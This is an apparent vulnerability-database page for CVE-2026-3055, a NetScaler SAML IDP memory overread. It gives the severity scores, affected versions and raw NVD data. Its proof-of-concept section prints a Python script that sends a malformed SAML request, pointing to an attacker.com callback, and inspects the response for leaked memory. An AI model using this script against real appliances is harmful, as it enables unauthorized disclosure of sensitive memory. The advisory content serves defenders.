Security Vulnerability Report
中文
CVE-2026-3055 CVSS 9.8 CRITICAL

CVE-2026-3055

Published: 2026-03-23 21:17:17
Last Modified: 2026-03-31 13:18:14
Source: 50a63c94-1ea7-4568-8c11-eb79e7c5a2b5

Description

Insufficient input validation in NetScaler ADC and NetScaler Gateway when configured as a SAML IDP leading to memory overread

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:* - VULNERABLE
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:* - VULNERABLE
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:* - VULNERABLE
NetScaler ADC and Gateway (具体受影响版本请参考官方公告CTX696300)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for SAML IDP endpoint # Replace with actual target URL target_url = "https://target-vip.com/saml/idp/login" # Malformed SAML Request payload designed to trigger memory overread # This payload manipulates the SAML assertion length to bypass validation saml_payload = """ <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_id_1234567890" Version="2.0" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="https://attacker.com/callback"> <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://attacker.com</saml:Issuer> <!-- Injecting oversized padding to trigger the vulnerability --> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <ds:Reference URI="_id_1234567890"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==</ds:SignatureValue> </ds:Signature> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2026-03-23T21:17:17Z" Recipient="https://attacker.com/callback"/> </saml:SubjectConfirmation> </saml:Subject> </samlp:AuthnRequest> """ # URL encode the payload import urllib.parse encoded_payload = urllib.parse.quote(saml_payload) # Construct the full request URL full_url = f"{target_url}?SAMLRequest={encoded_payload}" try: # Send the malicious request response = requests.get(full_url, verify=False, timeout=10) # Check for anomalies in response headers or content length if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response Content Length: {len(response.content)}") print("[+] Check response content for memory leakage patterns.") # In a real scenario, analyze the response for hex dumps of memory else: print(f"[-] Target returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3055", "sourceIdentifier": "50a63c94-1ea7-4568-8c11-eb79e7c5a2b5", "published": "2026-03-23T21:17:17.477", "lastModified": "2026-03-31T13:18:14.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient input validation in NetScaler ADC and NetScaler Gateway when configured as a SAML IDP leading to memory overread"}, {"lang": "es", "value": "Validación de entrada insuficiente en NetScaler ADC y NetScaler Gateway cuando se configura como un IDP SAML, lo que lleva a una sobrelectura de memoria."}], "metrics": {"cvssMetricV40": [{"source": "50a63c94-1ea7-4568-8c11-eb79e7c5a2b5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-03-30", "cisaActionDue": "2026-04-02", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Citrix NetScaler Out-of-Bounds Read Vulnerability", "weaknesses": [{"source": "50a63c94-1ea7-4568-8c11-eb79e7c5a2b5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*", "versionStartIncluding": "13.1", "versionEndExcluding": "13.1-37.262", "matchCriteriaId": "453E034F-91B1-48E0-A0C2-4DE99EA221DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*", "versionStartIncluding": "13.1", "versionEndExcluding": "13.1-37.262", "matchCriteriaId": "5C536886-5796-4FB4-BB94-BE34DE32339A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*", "versionStartIncluding": "13.1", "versionEndExcluding": "13.1-62.23", "matchCriteriaId": "E2DFB77E-B610-4FAC-84EB-CAB9D68F16F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*", "versionStartIncluding": "14.1", "versionEndExcluding": "14.1-60.58", "matchCriteriaId": "F1145E85-5AEC-4584-A385-1DAA2084CD9F"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.1", "versionEndExcluding": "13.1-62.23", "matchCriteriaId": "46A54BC1-9EA0-4F74-81D1-48FB04AE4479"}, {"vulnerable": true, "criteria": "cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.1", "versionEndExcluding": "14.1-60.58", "matchCriteriaId": "FEA94A98-44D9-4A3A-8713-7A4963CD820B"}]}]}], "references": [{"url": "https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300", "source": "50a63c94-1ea7-4568-8c11-eb79e7c5a2b5", "tags": ["Vendor Advisory"]}, {"url": "https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/", "source": "134c704 ... (truncated)